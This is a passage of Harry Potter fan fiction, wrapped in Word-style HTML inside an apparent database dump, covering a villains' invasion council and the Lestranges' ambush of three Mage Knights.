the voice.&nbsp; &#8220;Igor here\ntells me of your little proposition.&nbsp;\nThat you suggested that the Lestranges could be used to capture Potter.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I have suggested\nit,&#8221; smirked Lingilam.&nbsp; The voice\nlaughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You appear to\nhave a lot of confidence in the Lestranges,&#8221; said the voice.&nbsp; So much that I am now interested in your\nplan.&nbsp; Why not give it a try?&#8221;&nbsp; The Neo Death Eaters murmured their\nagreement with their unseen master.&nbsp;\nLingilam grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What else are\nyour orders master?&#8221; asked Karkaroff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mobilize the\nfleets,&#8221; said the voice.&nbsp; &#8220;Gather every\nwar ship and transport in Durmstrang and prepare an invasion of\nMagiterran.&nbsp; It is essential that we\ntake them by surprise.&nbsp; Our troops will\nland on the coast of the Kingdom of Hufflepuff and from there, we will sweep\ninto the Alliance.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Why all the\nsurprise?&#8221; asked Flame.&nbsp; &#8220;It should be a\npiece of cake.&#8221; &nbsp;All of the Neo Death\nEaters laughed.&nbsp; The master, however,\ndid not seem pleased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217;t\nunderestimate the Alliance, Flame,&#8221; hissed the voice.&nbsp; &#8220;Especially the Mage Knights.&nbsp;\nOtherwise you&#8217;ll end up the same way as your sister.&#8221;&nbsp; Flame shuddered and became quiet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;It will take two\nweeks to prepare an invasion, master,&#8221; said Karkaroff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Do it as quick as\nyou can.&nbsp; Speed is absolutely essential\nin this operation.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes master.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;If there is\nnothing more,&#8221; continued the voice.&nbsp; &#8220;I\nwill have this meeting adjourned.&#8221;&nbsp; The\nvoice disappeared.&nbsp; One by one, the Neo\nDeath Eaters stood up and left the room.&nbsp;\nAfter the room was deserted for a few minutes, Hermione crept out of the\ncloset she was hiding in, visibly shaken.&nbsp;\nShe had to warn her homeland of the invasion within the next two weeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry.&nbsp; I&#8217;m hungry.&nbsp;\nI&#8217;m so starved I could eat a whole hippogriff,&#8221; moaned Ron.&nbsp; The three Mage Knights were walking through\na foot of snow in a thick coniferous forest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny rolled her\neyes.&nbsp; &#8220;Ron, we just ate a hour ago.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I don&#8217;t want some\ntransfigured gravel,&#8221; moaned Ron.&nbsp; Since\nthe three were traveling light, they had been transfiguring natural stuff\n(rocks, pieces of wood) into meals.&nbsp; &#8220;I\nwant real food!&nbsp; Something hot off the\noven freshly cooked and prepared by house elves&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry sighed\nsadly.&nbsp; Ron noticed.&nbsp; &#8220;What&#8217;s wrong Harry?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, its just that\nI can imagine how Hermione would react if she heard you say that.&nbsp; Probably start lecturing about the unfair treatment\nof house elves, saying it was slavery or something like that.&#8221;&nbsp; Harry couldn&#8217;t help but make a weak\ngrin.&nbsp; &#8220;You know, she&#8217;s got a good\nnumber of the house elves working in Godric&#8217;s Hollow palace working under a\nsalary?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;She what?!&#8221;&nbsp; Ron actually looked horrified.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry couldn&#8217;t\nhelp but laugh.&nbsp; &#8220;Her goal is to\neventually get people to treat house elves with equality.&nbsp; She&#8217;s spent a good deal of her royal\nactivities organizing it: spew or something, I don&#8217;t know.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Doesn&#8217;t she\nrealize that house elves love being enslaved?&#8221; asked Ron, still looking\nscandalized.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I once pointed it\nout to her and received a death glare so harsh I haven&#8217;t tried it again,&#8221; said\nHarry.&nbsp; &#8220;She spent a good deal of her\ntime just trying to get the house elves who work for us to accept a salary, and\nsome of them finally agreed for one galleon a month so I guess its not exactly\na hopeless cause.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron snorted.&nbsp; &#8220;I still think she&#8217;s crazy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry sighed.&nbsp; &#8220;Look Ron, when we find her, please do me a\nfavor and don&#8217;t bring it up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK, I\nwon&#8217;t.&#8221;&nbsp; Somehow, however, Harry\ncouldn&#8217;t help but think that Ron would bring it up eventually.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry sighed\nsadly.&nbsp; Talking about Hermione made him\nmiss her even more.&nbsp; This made him even\nmore determined to rescue her from whatever clutches she was in.&nbsp; He hoped that they were drawing close to\ntheir destination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was around then\nthat Ginny came back to them: she had gone ahead to scout the road ahead of\nthem.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hey boys,&#8221; she\nsaid.&nbsp; There&#8217;s a mansion ahead of\nus.&nbsp; I think we can ask for lodging.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron looked\nabsolutely ecstatic about the prospect of a proper meal.&nbsp; Harry however, looked skeptical.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Are you sure\nthat&#8217;s a good idea?&#8221; he asked.&nbsp; &#8220;You do\nrealize that the presence of Mage Knights in Durmstrang is an act of war and\nwho knows if the people of this mansion will give us lodging rather than turn\nus in.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh come on,\nHarry,&#8221; said Ron, looking a good deal more happier.&nbsp; &#8220;How often do you run into good lodgings in the middle of the\nforest?&#8221;&nbsp; He and Ginny made their way to\nthe mansion, Ron practically skipping.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry was a little\nworried but he shook his head and went after the two Weasleys.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Generally, I&#8217;m\nnot a fan of making Krum such a villain but I&#8217;m going to explain all that later\nin the story so don&#8217;t prejudge him.&nbsp;\nI&#8217;ll admit that I don&#8217;t like the character that much, but he&#8217;s not a bad\nguy as a lot of fics make him out to be.&nbsp;\nIt is true that he&#8217;s only a pawn in this.&nbsp; Also, Oliver Wood will come out in this.&nbsp; Next: What&#8217;s going to happen at the mansion?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 8, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n8: The Lestranges\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron knocked three\ntimes on the door to the mansion before it creaked open.&nbsp; The three Mage Knights stepped in\napprehensively.&nbsp; The mansion was an\nelegant Tudor style building with 4 levels and looked as if it had at least two\nhundred rooms.&nbsp; A crystal chandelier was\ngleaming on the ceiling and there were portraits of sophisticated looking\npeople on the walls.&nbsp; The main hall led\nto a main staircase that branched off two ways and had a scarlet, velvet carpet\nrunning down it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Standing about\nhalf way up the staircase was a man who looked to be in his early forties.&nbsp; He was tall, with pulled back brown hair,\nand a small moustache.&nbsp; He was wearing\nan elegant black and violet robe, was carrying a black cane, and had a monocle\nover his left eye.&nbsp; He was also carrying\na black silk, top hat in his other hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Welcome, Sir\nknights,&#8221; he said with high posh.&nbsp; &#8220;I am\nBaron Lestrange.&nbsp; Welcome to my humble\nhome, Lestrange manor.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry, Ron, and\nGinny politely bowed.&nbsp; &#8220;Greetings\nBaron,&#8221; said Harry.&nbsp; &#8220;We are three\nknights traveling north and we chanced upon your home when dark came upon\nus.&nbsp; We request that you would provide\nus with lodging for the night.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Baron Lestrange\nsmiled.&nbsp; &#8220;I would be happy to provide\nyou with lodgings Sir knights.&nbsp; My wife\nshall show you to your rooms.&#8221;&nbsp; A tall,\nsophisticated looking lady with waist length black hair emerged from the top of\nthe staircase.&nbsp; The Mage Knights bowed\nand proceeded up the staircase and to the woman who led them to the guest\nrooms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I wish to express\nmy gratitude, Baroness Lestrange,&#8221; said Ron as he kneeled and kissed her\nhand.&nbsp; Harry and Ginny followed suit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Thank you, Sir\nKnights,&#8221; said the lady.&nbsp; &#8220;And I prefer\nto be called Dame Lestrange.&#8221;&nbsp; She bowed\nand walked away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, that was\neasy,&#8221; said Ron with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry seemed to be\ndeep in thought.&nbsp; &#8220;Yeah, a little too\neasy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That night, the\nknights had one of the best meals ever prepared.&nbsp; Ron worked the house elves to the brink of exhaustion with his\nmonstrous appetite.&nbsp; Whenever Ron was\nstarved, he developed an appetite the equivalent of three large men.&nbsp; He made a bit of a scene stuffing all the\nfood he could lay his hands on into his mouth while Harry and Ginny ate\npolitely.&nbsp; The Lestranges however, did\nnot seem to be offended by Ron&#8217;s eating habits.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After dinner, the\nknights retired to the guest room to have a good nights sleep.&nbsp; Within minutes of hitting their pillows,\nthey were sound asleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That night, two\nshadowy figures crept into the room where the Mage Knights slept.&nbsp; They slowly made their way to the sleeping\nforms in the beds.&nbsp; Daggers were drawn,\nand the figures slashed at the sleeping figures!&nbsp; It was only then that they discovered that the figures were\nnothing more than bundled sheets.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Lumos.&#8221;</i>&nbsp; Baron\nand Dame Lestrange backed away as the brilliant lights dazzled from the Mage\nKnights standing in the corner behind the door.&nbsp; Ron had a triumphant smirk on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ha ha!&nbsp; Thought you had us fooled eh?&#8221; he said.&nbsp; &#8220;Well looks like you did the job very well.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny rolled her\neyes.&nbsp; &#8220;Ron, they had you completely\nfooled.&nbsp; Harry and I were the ones who\nweren&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Shut up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry stepped\nforward, his green eyes blazing.&nbsp; &#8220;I\nsuggest that you two explain yourselves.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Lestranges\ngrinned.&nbsp; Suddenly, Dame Lestrange\ncalled out, <i>&#8220;Accio.&#8221;</i>&nbsp; A thin\nsword that had been placed on the mantle place flew into her hand.&nbsp; Baron Lestrange also drew a sword out of his\ncane as he slapped his top hat on.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry Potter,&#8221; he\nsaid.&nbsp; &#8220;By order of the master, I am to\ntake you to him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We are also to\nkill the red heads,&#8221; said Dame Lestrange.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Mage Knights\ndrew their swords.&nbsp; &#8220;You take care of\nthe guy, Ginny and I will take care of the gal,&#8221; whispered Ron.&nbsp; Harry nodded his acknowledgement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a yell, the\nMage Knights charged at the Lestranges who dashed out of the room.&nbsp; Baron Lestrange ran to the hallway pursued\nby Harry while Dame Lestrange ran to the dining room pursued by the Weasleys.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry chased Baron\nLestrange to the staircase.&nbsp; Baron Lestrange\nwas running down the stairs when Harry leapt from the ledge, twirled in the air\nand landed in front of Lestrange.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Not so fast,\nBaron,&#8221; he said.&nbsp; &#8220;Why not be a\ngentlemen and fight the proper way.&#8221;&nbsp;\nLestrange grinned as he raised his sword.&nbsp; With swift movements, Lestrange made three thrusts at Harry, all\nof which he deflected.&nbsp; Harry slashed at\nLestrange who blocked the blade.&nbsp; The\nsounds of metal hitting metal rang throughout the hallway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dame Lestrange had\nrun into the dining room and was proceeding to make her way to the\nkitchen.&nbsp; Not willing to let her escape\nthere, Ron leapt onto the long table and proceeded to slide down it, his foot\non a saucer.&nbsp; With a flying leap, Ron\nlanded in front of Dame Lestrange.&nbsp;\nGinny soon came up behind her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 